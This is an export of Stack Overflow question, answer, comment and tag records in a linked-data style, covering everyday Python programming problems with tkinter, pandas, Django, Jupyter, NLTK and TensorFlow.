has body: When I make a button that closes the current window and opens another, the current window doesn't close. from tkinter import * root = Tk() def new_window(): root.quit() new_window = Tk() new_window.mainloop() Button(root, text="Create new window", command=new_window).pack() root.mainloop() (This isn't my program, it's just an example)
type: UnansweredQuestion
answer count: 1
score: 0
has comment: http://stackoverflow.com/comment/85967775
has title: How do I make a button that closes one tkinter window and opens another?
tagged with: python
has answer: http://stackoverflow.com/a/49490054

http://stackoverflow.com/q/49493720
downvote count: 1
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49494178
type: AnsweredQuestion
score: 0
has title: Merging/Combining Dataframes in Pandas
tagged with: pandas
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/85991076
has comment: http://stackoverflow.com/comment/85991670
tagged with: append
tagged with: concatenation
linked to: http://stackoverflow.com/q/46676134
answer count: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/85991500
has body: I have a df1, example: B A C B 1 A 1 C 2 ,and a df2, example: C E D C 2 3 E 1 D 2 The column and row 'C' is common in both dataframes. I would like to combine these dataframes such that I get, B A C D E B 1 A 1 C 2 2 3 D 1 E 2 Is there an easy way to do this? pd.concat and pd.append do not seem to work. Thanks! Edit: df1.combine_first(df2) works (thanks @jezarel), but can we keep the original ordering?
accepted answer: http://stackoverflow.com/a/49494178

http://stackoverflow.com/comment/85964618
type: Comment
score: 0
comment on: http://stackoverflow.com/q/49480344
type: QuestionComment
has text: @stackoverflowuser2010 - right, but this code would not work properly (as in calculate the proper CE loss) if it took anything that wasn't 0 or 1.

http://stackoverflow.com/q/49515085
has comment: http://stackoverflow.com/comment/86035247
tagged with: python
favorite count: 0
tagged with: jupyter-notebook
has body: I'm constantly running out of RAM with some Jupyter Notebooks and I seem to be unable to release memory that is no longer needed. Here is an example: import gc thing = Thing() result = thing.do_something(...) thing = None gc.collect() As you can presume, thing uses a lot of memory to do something and then I don't need it anymore. I should be able to release the memory it uses. Even though it doesn't write to any variables that I can access from my notebook, garbage collector isn't freeing up space properly. The only workaround I've found is writing result into a pickle, restarting kernel, loading result from pickle, and continuing. This is really inconvenient when running long notebooks. How can I free up memory properly?
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/62268596
accepted answer: http://stackoverflow.com/a/49517289
downvote count: 0
tagged with: garbage-collection
has answer: http://stackoverflow.com/a/49517289
has title: Python Garbage Collection sometimes not working in Jupyter Notebook
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/62268596
upvote count: 28
score: 28
has comment: http://stackoverflow.com/comment/86036607

http://stackoverflow.com/a/49531693
type: Answer
score: 4
has comment: http://stackoverflow.com/comment/86072635
upvote count: 4
has comment: http://stackoverflow.com/comment/86072778
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86072316
accepted answer of: http://stackoverflow.com/q/49531449
has body: You can try below code to get two separate text nodes: something = elem.find_element_by_xpath('./td[5]') text1 = driver.execute_script('return arguments[0].firstChild.textContent;', something).strip() text2 = driver.execute_script('return arguments[0].lastChild.textContent;', something).strip()
answers question: http://stackoverflow.com/q/49531449
has comment: http://stackoverflow.com/comment/86072470

http://stackoverflow.com/comment/86126237
type: Comment
has text: Ah I get it. You should be able to get an average value 1.019311 if you use 2D inputs. Also, the loss with `base_factor=1.0` would be `[0, 1.609438, 1.609438]`, not `[1.0729587 1.0729587 1.0729587]`.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49551948

http://stackoverflow.com/q/49554468
upvote count: 1
has body: I am trying to sample the resulting data after doing a groupby on multiple columns. If the respective groupby has more than 2 elements, I want to take sample 2 records, else take all the records df: col1 col2 col3 col4 A1 A2 A3 A4 A1 A2 A3 A5 A1 A2 A3 A6 B1 B2 B3 B4 B1 B2 B3 B5 C1 C2 C3 C4 target df: col1 col2 col3 col4 A1 A2 A3 A4 or A5 or A6 A1 A2 A3 A4 or A5 or A6 B1 B2 B3 B4 B1 B2 B3 B5 C1 C2 C3 C4 I have mentioned A4 or A5 or A6 because, when we take sample, either of the three might return This is what i have tried so far: trial = pd.DataFrame(df.groupby(['col1', 'col2','col3'])['col4'].apply(lambda x: x if (len(x) &lt;=2) else x.sample(2))) However, in this I do not get col1, col2 and col3
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/49554580
has answer: http://stackoverflow.com/a/49554580
tagged with: python
has title: Groupby and Sample pandas
accepted answer: http://stackoverflow.com/a/49554699
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49554699
tagged with: random
answer count: 2
tagged with: pandas-groupby
tagged with: pandas
score: 1
downvote count: 0

http://stackoverflow.com/comment/86186976
comment on: http://stackoverflow.com/q/49589566
type: QuestionComment
type: Comment
has text: These patterns make no sense to me. Also never start variables with lower case l
score: 0

http://stackoverflow.com/comment/86201942
type: QuestionComment
has text: So what's wrong with the code you posted? Aside from the IndentationErrors? Please read [mcve]. Specifically, be specific about what the problem is. "Apparently I don't know yet how to use it" is not a useful problem description.
comment on: http://stackoverflow.com/q/49597369
score: 2
type: Comment

http://stackoverflow.com/q/49497544
score: 0
has comment: http://stackoverflow.com/comment/86003802
answer count: 0
has body: I'm using the hashing function from here as part of a machine learning model. I need to use the trained model in C++, and thus I need the hashing function to be independent of the language (in this case Python/C++). How do I serialize a stochastic hashing function such that I can recreate the exact same hashing with same stochasticity in another language (C++)?
tagged with: serialization
type: Question
has comment: http://stackoverflow.com/comment/86002985
tagged with: python
type: UnansweredQuestion
tagged with: c++
has title: Serialize stochastic hashing function to be language-agnostic
tagged with: random

trace
tag name: trace
tags question: http://stackoverflow.com/q/49560894
type: Tag
tags question: http://stackoverflow.com/q/49578324

http://stackoverflow.com/q/49505388
has title: Given a string S and a set of words D, find the longest word in D that is a subsequence of S
score: 2
upvote count: 2
type: UnansweredQuestion
downvote count: 0
tagged with: python
has comment: http://stackoverflow.com/comment/86021838
has body: I tried solving this in python 2.7 using regex. I found it to be quite simple. Wondering if I am missing something. Is there an edge case or corner case here? S = "abppplee" D = {"able", "ale", "apple", "bale", "kangaroo"} def subseq(S,D): # every word in D is made into a regex pattern interspersed with .* and looked up in S import re in_dict = {word:len(word) for word in D if bool(re.search(pattern=".*".join(word),string=S))} return max(in_dict, key=in_dict.get) subseq(S,D) returns 'apple'
has answer: http://stackoverflow.com/a/53669549
answer count: 3
has comment: http://stackoverflow.com/comment/86014847
has answer: http://stackoverflow.com/a/50535336
has answer: http://stackoverflow.com/a/49510319
favorite count: 0
type: Question

http://stackoverflow.com/a/49455238
type: Answer
has comment: http://stackoverflow.com/comment/85918286
answers question: http://stackoverflow.com/q/49455110
has comment: http://stackoverflow.com/comment/85984008
has comment: http://stackoverflow.com/comment/85917786
score: 0
has body: The problem here is that your XPath starts off looking for an a child node under the root—but the root is the a node, and the b and d nodes are its children. You can see this if you just print things out: &gt;&gt;&gt; print(tree) &lt;Element 'a' at 0x10bbe4bd8&gt; &gt;&gt;&gt; print(tree.getchildren()) [&lt;Element 'b' at 0x10bf8e318&gt;, &lt;Element 'd' at 0x10bf8ef98&gt;, &lt;Element 'd' at 0x10be1e818&gt;] What you probably want is this: for elem in tree.iterfind('d/e/f'): Or, as pointed out by Tim in the comments, if your tree is the result of parsing a file rather than the root of the tree, you’ll want to do this: root = tree.getroot() for elem in root.iterfind(‘d/e’f’):

http://stackoverflow.com/a/49580444
downvote count: 0
has comment: http://stackoverflow.com/comment/86169076
has body: from collections import Counter, defaultdict counts = defaultdict(Counter) s = """So I am trying to implement code that will count the next letter in a sentence, using python""".lower() for c1, c2 in zip(s, s[1:]): counts[c1][c2] += 1 (apart from being simpler, this should be significantly faster than pault's answer by not iterating over the string for every letter) Concepts to google that aren't named in the code: for c1, c2 in ... (namely the fact that there are two variables): tuple unpacking s[1:]: slicing. Basically this is a copy of the string after the first character.
answers question: http://stackoverflow.com/q/49580179
type: Answer
has comment: http://stackoverflow.com/comment/86169121
accepted answer of: http://stackoverflow.com/q/49580179
upvote count: 3
score: 3
type: AcceptedAnswer

http://stackoverflow.com/q/49474632
has title: TypeError: create_superuser() missing 1 required positional argument: 'profile_picture'
has answer: http://stackoverflow.com/a/75590651
tagged with: django-custom-user
tagged with: django-custom-manager
has answer: http://stackoverflow.com/a/63341695
has body: I get the following error after adding the profile_picture field: TypeError: create_superuser() missing 1 required positional argument: 'profile_picture' This profile_picture field is an "ImageField" set as "Null = True". I have tried the following: def create_user(...., profile_picture=None, ....). It didn't work. and the error occurs only in command prompt when i create superuser from there. Here is my models.py from django.db import models from django.contrib.auth.models import BaseUserManager, AbstractBaseUser class UserManager(BaseUserManager): def create_user(self, email, full_name, profile_picture=None, gender=None, password=None, is_admin=False, is_staff=False, is_active=True): if not email: raise ValueError("User must have an email") if not password: raise ValueError("User must have a password") if not full_name: raise ValueError("User must have a full name") user = self.model( email=self.normalize_email(email) ) user.full_name = full_name user.set_password(password) # change password to hash # user.profile_picture = profile_picture user.gender = gender user.admin = is_admin user.profile_picture = profile_picture user.staff = is_staff user.active = is_active user.save(using=self._db) return user def create_staffuser(self, email, profile_picture, gender, full_name, password=None): user = self.create_user( email, full_name, profile_picture, gender, password=password, is_staff=True, ) return user def create_superuser(self, email, profile_picture, gender, full_name, password=None): user = self.create_user( email, full_name, profile_picture, gender, password=password, is_staff=True, is_admin=True, ) return user class User(AbstractBaseUser): username = models.CharField(max_length=255) full_name = models.CharField(max_length=255) email = models.EmailField(max_length=255, unique=True,) profile_picture = models.ImageField(upload_to='user_data/profile_picture', null=True, blank=True) gender = models.CharField(max_length=255, blank=True, default='rather_not_say') acti…
answer count: 10
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/66014955
possible better answer: http://stackoverflow.com/a/66014955
tagged with: python-3.x
upvote count: 20
has answer: http://stackoverflow.com/a/49475526
accepted answer: http://stackoverflow.com/a/49475526
has answer: http://stackoverflow.com/a/76936519
has answer: http://stackoverflow.com/a/62325739
has answer: http://stackoverflow.com/a/63278791
tagged with: django
tagged with: python
has comment: http://stackoverflow.com/comment/104837018
linked to: http://stackoverflow.com/q/25239164
has answer: http://stackoverflow.com/a/72854532
type: AnsweredQuestion
score: 20
has answer: http://stackoverflow.com/a/72413589
has answer: http://stackoverflow.com/a/72768558
downvote count: 0

http://stackoverflow.com/comment/85982664
type: Comment
score: 1
type: QuestionComment
has text: Can you update your question with the code you tried, so we can build on what you've got?
comment on: http://stackoverflow.com/q/49473862

http://stackoverflow.com/q/49448596
has title: Sort wxpython listctrl column by integers
tagged with: sorting
favorite count: 0
has body: I would like to sort last column on user click. Sorting is working but it sort literally. How to sort last column numerically and first 2 columns literally? Thank You in advance! Pasted example code I found somewhere on net. import wx import sys from wx.lib.mixins.listctrl import ColumnSorterMixin actresses = { 1 : ('jessica alba', 'pomona', '1'), 2 : ('sigourney weaver', 'new york', '2'), 3 : ('angelina jolie', 'los angeles', '11'), 4 : ('natalie portman', 'jerusalem', '12'), 5 : ('rachel weiss', 'london', '20'), 6 : ('scarlett johansson', 'new york', '22') } class SortedListCtrl(wx.ListCtrl, ColumnSorterMixin): def __init__(self, parent): wx.ListCtrl.__init__(self, parent, -1, style=wx.LC_REPORT) ColumnSorterMixin.__init__(self, len(actresses)) self.itemDataMap = actresses def GetListCtrl(self): return self class Actresses(wx.Frame): def __init__(self, parent, id, title): wx.Frame.__init__(self, parent, id, title, size=(380, 230)) hbox = wx.BoxSizer(wx.HORIZONTAL) panel = wx.Panel(self, -1) self.list = SortedListCtrl(panel) self.list.InsertColumn(0, 'name', width=140) self.list.InsertColumn(1, 'place', width=130) self.list.InsertColumn(2, 'year', wx.LIST_FORMAT_RIGHT, 90) items = actresses.items() for key, data in items: index = self.list.InsertStringItem(sys.maxsize, data[0]) self.list.SetStringItem(index, 1, data[1]) self.list.SetStringItem(index, 2, data[2]) self.list.SetItemData(index, key) hbox.Add(self.list, 1, wx.EXPAND) panel.SetSizer(hbox) self.Centre() self.Show(True) app = wx.App() Actresses(None, -1, 'actresses') app.MainLoop()
type: Question
has comment: http://stackoverflow.com/comment/85906196
tagged with: python
has comment: http://stackoverflow.com/comment/85931730
score: 2
upvote count: 2
tagged with: listctrl
tagged with: wxwidgets
has comment: http://stackoverflow.com/comment/85909200
answer count: 0
downvote count: 0
type: UnansweredQuestion
tagged with: wxpython

http://stackoverflow.com/comment/86028460
has text: Why are there `print` statements _after_ the `return`?
comment on: http://stackoverflow.com/q/49510430
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/49567626
has comment: http://stackoverflow.com/comment/86143916
answer count: 0
tagged with: python
has title: Why isn't the value printing in python?
type: UnansweredQuestion
type: Question
score: 0
linked to: http://stackoverflow.com/q/39314946
has comment: http://stackoverflow.com/comment/86165091
has body: Here is a snippet of my python program to run linear regression with Tensorflow: import numpy as np import matplotlib.pyplot as plt import tensorflow as tf import xlrd DATA_FILE = "fire_theft.xls" #Step 1: read in data from the .xls file book = xlrd.open_workbook(DATA_FILE, encoding_override="utf-8") #access the first sheet in the workbook sheet = book.sheet_by_index(0) #start from row index 1 to row index sheet.nrows-1 data = np.asarray([sheet.row_values(i) for i in range(1, sheet.nrows)]) n_samples = sheet.nrows-1 #Step 2: create placeholders for input X (number of fire) and label Y (number #of theft) X = tf.placeholder(tf.float32, name="X") Y = tf.placeholder(tf.float32, name="Y") #Step 3: create weight and bias, initialized to 0 w = tf.Variable(0.0, name="weights") b = tf.Variable(0.0, name="bias") #Step 4: construct model to predict Y (number of theft) from the number of fire Y_predicted = X * w + b #Step 5: use the square error as the loss function loss = tf.square(Y - Y_predicted, name="loss") #Step 6: use gradient descent with learning rate = 0.01 to minimize loss optimizer = tf.train.GradientDescentOptimizer(learning_rate=0.01).minimize(loss) with tf.Session() as sess: #Step 7: initialize the necessary variables, in this case w and b sess.run(tf.global_variables_initializer()) #Step 8: train the model for i in range(100): #run 100 epochs for x, y in data: #Session runs train_op to minimize loss sess.run(optimizer, feed_dict={X: x, Y: y}) #Step 9: output the values of w and b w_value, b_value = sess.run([w, b]) print('y = ' + str(sess.run(w)) + 'x' + ' + ' + str(sess.run(b))) However, when sess.run([w, b]) is called near the end of the code, the matrix [w, b] is not printed. I am not sure why. Also, the print statement at the end returns "y = nanx + nan". I am not sure why w and b are both not interpreted as numbers. Can anybody help me? By the way, the fire_theft.xls file looks like: 3.5 6 5.3 7.4 ... (etc)
has comment: http://stackoverflow.com/comment/86156084
tagged with: tensorflow

autofilter
tag name: autofilter
type: Tag
tags question: http://stackoverflow.com/q/49510289

http://stackoverflow.com/a/49512932
downvote count: 0
accepted answer of: http://stackoverflow.com/q/49499551
answers question: http://stackoverflow.com/q/49499551
type: Answer
has body: In focus_widget you have the AttrMap object wrapping the text widget. You can get the text content from a urwid.Text widget with the .text property, and you can get the widget wrapped by an urwid.AttrMap with the .base_widget attribute. Note also that you need to check if input is equal to enter, to check for the Enter key def handle_input(input): if input == "enter": # Open link focus_widget, idx = content_container.get_focus() url = focus_widget.base_widget.text import webbrowser webbrowser.open(url) elif input in ('q', 'Q'): # Quit raise urwid.ExitMainLoop()
score: 3
upvote count: 3
type: AcceptedAnswer

http://stackoverflow.com/comment/85941408
type: AnswerComment
comment on: http://stackoverflow.com/a/49469224
has text: Nice! Those equations are indeed solutions! 2 questions, 1. what is `solveset` not using that `solve` is? And 2. `solve` is a bit of a mess in terms of its return type, is there any way I can force a `Set`, like in `solveset`?
type: Comment
score: 0

http://stackoverflow.com/q/49482435
upvote count: 0
type: UnansweredQuestion
tagged with: multithreading
has title: Is fib(n) a pure function?
has comment: http://stackoverflow.com/comment/85967794
linked to: http://stackoverflow.com/q/49394818
has comment: http://stackoverflow.com/comment/85967856
has body: fib(n) calculates the nth fibonacci number: def fib(n): """Compute nth Fibonacci number""" pred, curr = 1, 0 # 0 is 0th Fibonacci number k = 0 # curr is kth Fibonacci number while k &lt; n: pred, curr = curr, pred + curr k = k + 1 return curr It does not create side effects, to rest of the program. It is thread safe Despite the states(k, curr, pred) are modified locally, Isfib(n) a pure function?
tagged with: purely-functional
downvote count: 1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/85967835
has comment: http://stackoverflow.com/comment/85967964
linked to: http://stackoverflow.com/q/152580
tagged with: python
score: -1
has comment: http://stackoverflow.com/comment/85967870
has answer: http://stackoverflow.com/a/49482501
has answer: http://stackoverflow.com/a/49482518
tagged with: immutability
has comment: http://stackoverflow.com/comment/85967774
answer count: 2

http://stackoverflow.com/comment/86057638
has text: It seems you put me on to something. The example I linked to saves the thread and worker object as a tuple. I was only saving the thread to keep it from being garbage collected. I still have some other errors when I change "self.__threads.append(thread)" to self.__threads.append((thread, worker)) but they are ones I can fix. Thanks. Oh, the problem was that on first click you only get 1,2,3,11,9,4,5,6,7,8 to print, in that order. Then on second click you get the counting to print, 0 to 19. If you wait to long between button clicks then you get the 1 through 8 sequence again.
comment on: http://stackoverflow.com/q/49525673
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/a/49590357
has comment: http://stackoverflow.com/comment/86188729
answers question: http://stackoverflow.com/q/49589904
has comment: http://stackoverflow.com/comment/86279204
type: Answer
has comment: http://stackoverflow.com/comment/86209286
has body: Since you set your path = '/home/gcmatt/capstone/src', the src module is not available on path. Only models, templates etc are. Python is only going to recognize a package if it can see a subdirectory with an __init__.py in it. It will not recognize the current directory as a package, regardless of whether the current directory has __init__.py or not. Try setting path = '/home/gcmatt/capstone' and it should be able to detect the package src. Edit here: you may also want to say from src.app import app as application Second edit here: In your app.py you should also change your imports to import subpackages instead of src.[something]. For instance: from models.search import Search. Your WSGI will see the package src, and import src.app from it. And then src.app imports packages relative to itself (i.e. import models). Source: I use PythonAnywhere for a lot of my apps :) Here is some further reading on regular Python packages.
upvote count: 5
has comment: http://stackoverflow.com/comment/86229052
score: 5
downvote count: 0
has comment: http://stackoverflow.com/comment/86368756

http://stackoverflow.com/a/64244378
answers question: http://stackoverflow.com/q/49541629
upvote count: 3
downvote count: 0
score: 3
has body: Try to install your package with the --editable or -e flag, pip install --editable <your-package> # or pip install --editable . The issue you're experiencing could be due to you using pip install <your-package> or pip install . to install the module. This will always produce a copy of your source code and move it to the pip install directory. No matter how many times you import this module, it will always refer to the same "snapshot" of your code from when you installed it. If instead you use pip install --editable <your-package> or pip install --editable . to install your package, the pip install of your source will refer to the actual directory you did the install from. When you then change code there, it should correctly be reflected in your notebook (assuming you're still using the magic commands; otherwise you'll need to use importlib or do a kernel restart to reimport the modules) %load_ext autoreload %autoreload 2
type: Answer

http://stackoverflow.com/comment/86194040
type: AnswerComment
has text: Thank you, MaxU. In fact, I have another data frame with prices of the respective stocks, i.e. BP. For instance, the list above will be used to call time series from other data frames; the actual permutation list has n=58, larger but not too large I would say.
comment on: http://stackoverflow.com/a/49592849
type: Comment
score: 0

http://stackoverflow.com/q/49456680
tagged with: rest
has answer: http://stackoverflow.com/a/49458963
has answer: http://stackoverflow.com/a/49693009
tagged with: django
tagged with: javascript
tagged with: python
has answer: http://stackoverflow.com/a/49456968
type: AnsweredQuestion
score: 0
has body: I am trying to use django rest framework to create instances of a Bookmark model for different types of content, for example Book. The code: models.py class Bookmark(models.Model): user = models.ForeignKey(User) content_type = models.ForeignKey(ContentType) object_id = models.PositiveIntegerField() content_object = GenericForeignKey('content_type', 'object_id') api.py from django.contrib.contenttypes.models import ContentType from rest_framework import viewsets, mixins, serializers, permissions from .models import Bookmark class BookmarkSerializer(serializers.ModelSerializer): class Meta: model = Bookmark fields = ('id', 'user', 'content_type', 'object_id') class BookmarkViewSet(mixins.CreateModelMixin, mixins.ListModelMixin, mixins.RetrieveModelMixin, mixins.UpdateModelMixin, mixins.DestroyModelMixin, viewsets.GenericViewSet): queryset = Bookmark.objects.all() serializer_class = BookmarkSerializer permission_classes = [permissions.IsAuthenticatedOrReadOnly] def perform_create(self, serializer): content_type = self.request.query_params.get('content_type') app, model = content_type.split(".") ct = ContentType.objects.get_by_natural_key(app, model) object_id = self.request.query_params.get('object_id') serializer.save(user=self.request.user, content_type=ct, object_id=object_id) def get_queryset(self): items = Bookmark.objects.filter(user=self.request.user) content_type = self.request.query_params.get('content_type', None) if content_type: app, model = content_type.split(".") ct = ContentType.objects.get_by_natural_key(app, model) items = items.filter(content_type=ct) object_id = self.request.query_params.get('object_id', None) if object_id: items = items.filter(object_id=object_id) return items get_queryset part is fine. But perform_create fails when I try to create a new Bookmark: var item = new Bookmark({'content_type': 'books.book', 'object_id': self.book_id}); item.save(); The response: {"user":["This field is required."],"content_type":["Incorrect type. Expected…
accepted answer: http://stackoverflow.com/a/49693009
answer count: 3
possible better answer: http://stackoverflow.com/a/49456968
tagged with: django-rest-framework
type: Question
has title: Issue with django rest framework when creating new objects

http://stackoverflow.com/comment/86134146
type: Comment
type: QuestionComment
has text: @LioraHaydont considering my previous comment (which I'll put into the question in a second) do you know that regex will indeed do this?
score: 0
comment on: http://stackoverflow.com/q/49562967

http://stackoverflow.com/comment/86007194
comment on: http://stackoverflow.com/q/49501372
type: Comment
type: QuestionComment
score: 0
has text: Are you asking a Python coding question or how to fix your learning/prediction process?

http://stackoverflow.com/q/49475847
tagged with: text-mining
has title: NLTK Python word_tokenize
accepted answer: http://stackoverflow.com/a/49475891
type: AnsweredQuestion
score: 0
upvote count: 1
has body: I have loaded a txt file that contains 6000 lines of sentences. I have tried to split("/n") and word_tokenize the sentences, but I get the following error: Traceback (most recent call last): File "final.py", line 52, in &lt;module&gt; short_pos_words = word_tokenize(short_pos) File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/__init__.py", line 128, in word_tokenize sentences = [text] if preserve_line else sent_tokenize(text, language) File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/__init__.py", line 95, in sent_tokenize return tokenizer.tokenize(text) File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 1237, in tokenize return list(self.sentences_from_text(text, realign_boundaries)) File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 1285, in sentences_from_text return [text[s:e] for s, e in self.span_tokenize(text, realign_boundaries)] File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 1276, in span_tokenize return [(sl.start, sl.stop) for sl in slices] File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 1316, in _realign_boundaries for sl1, sl2 in _pair_iter(slices): File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 313, in _pair_iter for el in it: File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 1291, in _slices_from_text if self.text_contains_sentbreak(context): File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 1337, in text_contains_sentbreak for t in self._annotate_tokens(self._tokenize_words(text)): File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/punkt.py", line 1472, in _annotate_second_pass for t1, t2 in _pair_iter(tokens): File "/home/tuanct1997/anaconda2/lib/python2.7/site-packages/nltk/tokenize/punk…
answer count: 1
downvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/49475891
type: Question
linked to: http://stackoverflow.com/q/25493720
linked to: http://stackoverflow.com/q/21129020
tagged with: nltk
duplicate of: http://stackoverflow.com/q/25493720
duplicate of: http://stackoverflow.com/q/21129020
tagged with: python

http://stackoverflow.com/comment/106675060
comment on: http://stackoverflow.com/a/49457438
has text: Does concatenating the columns first solve your problem?
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/q/49497627
type: AnsweredQuestion
score: 1
has answer: http://stackoverflow.com/a/49497750
downvote count: 1
favorite count: 0
accepted answer: http://stackoverflow.com/a/49497721
has body: I have a dataframe as below: df id val 0 1 21 1 2 35 2 2 45 3 3 55 4 1 10 5 4 90 6 3 45 7 2 78 8 3 23 I want to create a new column cat based on length of each value in id. if len(id) &lt;= 1 value in cat should be 'A' if len(id) &lt; 3 value should be 'B' if len(id) >= 3 value should be 'C' Expected Output: id val cat 0 1 21 B 1 2 35 C 2 2 45 C 3 3 55 C 4 1 10 B 5 4 90 A 6 3 45 C 7 2 78 C 8 3 23 C what I tried: def test(series): if len(series) &lt;= 1: return 'A' elif len(series) &lt; 3: return 'B' else: return 'C' df.groupby('id').apply(test) Error for above code: TypeError: 'DataFrame' objects are mutable, thus they cannot be hashed
answer count: 4
has comment: http://stackoverflow.com/comment/85999678
has answer: http://stackoverflow.com/a/49497721
has answer: http://stackoverflow.com/a/49497699
type: Question
upvote count: 2
tagged with: dataframe
tagged with: python
tagged with: comparison
has title: Creating a new column in pandas based on length of unique values from other column
has answer: http://stackoverflow.com/a/49497852
possible better answer: http://stackoverflow.com/a/49497699
tagged with: pandas-groupby
tagged with: pandas

http://stackoverflow.com/comment/86177228
score: 0
type: Comment
has text: how to stop the will loop
type: AnswerComment
comment on: http://stackoverflow.com/a/49462508

signals
tags question: http://stackoverflow.com/q/49474435
type: Tag
tag name: signals

http://stackoverflow.com/a/49543592
downvote count: 0
has comment: http://stackoverflow.com/comment/86095040
has body: You can use iter and next: num = ['1', '2'] num = iter(num) letter1 = ['a', 'b', 'c', 'd', 'e', 'f'] letter2 = ['aa', 'bb', 'cc', 'dd', 'ee', 'ff'] tuple1, tuple2 = [list(zip(i, [next(num)]*len(i))) for i in [letter1, letter2]] Output: [('a', '1'), ('b', '1'), ('c', '1'), ('d', '1'), ('e', '1'), ('f', '1')] [('aa', '2'), ('bb', '2'), ('cc', '2'), ('dd', '2'), ('ee', '2'), ('ff', '2')] Without iter: tuple1, tuple2 = [[(i, h) for i in c] for c, h in zip([letter1, letter2], ['1', '2'])]
has comment: http://stackoverflow.com/comment/86095051
answers question: http://stackoverflow.com/q/49543468
has comment: http://stackoverflow.com/comment/86094972
type: Answer
has comment: http://stackoverflow.com/comment/86094901
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/86094923

django-orm
tags question: http://stackoverflow.com/q/49587375
tags question: http://stackoverflow.com/q/49475130
tag name: django-orm
type: Tag
tags question: http://stackoverflow.com/q/49579167
tags question: http://stackoverflow.com/q/49490854

http://stackoverflow.com/comment/85934707
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/49465653
score: 0
has text: @DanielGee True, but hard-coding values isn't even good in examples

http://stackoverflow.com/comment/85883625
comment on: http://stackoverflow.com/a/49440634
type: Comment
type: AnswerComment
has text: thank you, the updated solution works. Would you have a suggestion for adding a row at the bottom to get the average values for the column?
score: 0

http://stackoverflow.com/comment/89043268
comment on: http://stackoverflow.com/a/50894566
score: 2
type: Comment
type: AnswerComment
has text: This is almost correct. A string comparison won't work as `ext.get_short_name()` is of type byte. I got that function working with the following hacky adjustment: `if 'subjectAltName' in str(ext.get_short_name())`

http://stackoverflow.com/q/49502908
favorite count: 0
type: Question
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/86011190
has comment: http://stackoverflow.com/comment/86010037
has comment: http://stackoverflow.com/comment/86010100
answer count: 2
possible better answer: http://stackoverflow.com/a/49503026
has body: I have a list of strings named strList which contains around 800,000-2,200,000 elements. Each element contains around 100 characters. I have another list of strings called findStrs which usually contains less than 5 elements (5 to 10-character strings). I want to select the elements of strList that contain all of the elements in findStrs. How can I efficiently do that in Python? Here's how I am doing this but I wonder if there are more efficient solutions using list comprehensions for doing it: finalStrList = [] for strr in strList: temp = [] for findStr in findStrs: if findStr in strr: temp.append(findStr) if len(temp) == len(findStrs): finalStrList.append(str) print(finalStrList) I tried to devise a list comprehension-based method as well but, not surprisingly, it does not work: [strr for strr in strList if [findStr in strr for findStr in findStrs]]
has comment: http://stackoverflow.com/comment/86010185
has comment: http://stackoverflow.com/comment/86009966
has comment: http://stackoverflow.com/comment/86010033
has comment: http://stackoverflow.com/comment/86010061
has answer: http://stackoverflow.com/a/49503026
accepted answer: http://stackoverflow.com/a/49502982
has comment: http://stackoverflow.com/comment/86010067
has comment: http://stackoverflow.com/comment/86010120
has comment: http://stackoverflow.com/comment/86010011
upvote count: 1
tagged with: python
has comment: http://stackoverflow.com/comment/86010049
has answer: http://stackoverflow.com/a/49502982
tagged with: list-comprehension
has comment: http://stackoverflow.com/comment/86009931
has comment: http://stackoverflow.com/comment/86009958
has comment: http://stackoverflow.com/comment/86011915
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86009984
has title: Efficient way to check if elements of a list contain all elements of another list
has comment: http://stackoverflow.com/comment/86012377
has comment: http://stackoverflow.com/comment/86010024
has comment: http://stackoverflow.com/comment/86010284
score: 1
has comment: http://stackoverflow.com/comment/86010242
downvote count: 0
has comment: http://stackoverflow.com/comment/86009982
tagged with: string
has comment: http://stackoverflow.com/comment/86012323

http://stackoverflow.com/comment/86189315
has text: @AndreyTyukin: Yes, I meant `numpy`. Regardless, if that's the case, perhaps you should delete your earlier comment about this being a duplicate of a question about using it.
comment on: http://stackoverflow.com/q/49589755
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/a/49446002
score: 1
upvote count: 1
type: Answer
has body: Use this: class COOKIEBOT2000(object): def __init__(self,upgrade=1,click=1,prints=0): self.upgrade = upgrade self.click = click self.prints = prints def Clicker(self): if self.click == 1: click = driver.find_element_by_id("bigCookie") click.click() if self.prints == 1: click = driver.find_element_by_id("cookies") click.click() click = click.text money = click.split("\n") money = money[0].split(" ") money = int(money[0]) print (money) COOKIEBOT = COOKIEBOT2000() COOKIEBOT.Clicker()
accepted answer of: http://stackoverflow.com/q/49445312
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49445312
downvote count: 0

http://stackoverflow.com/q/49469337
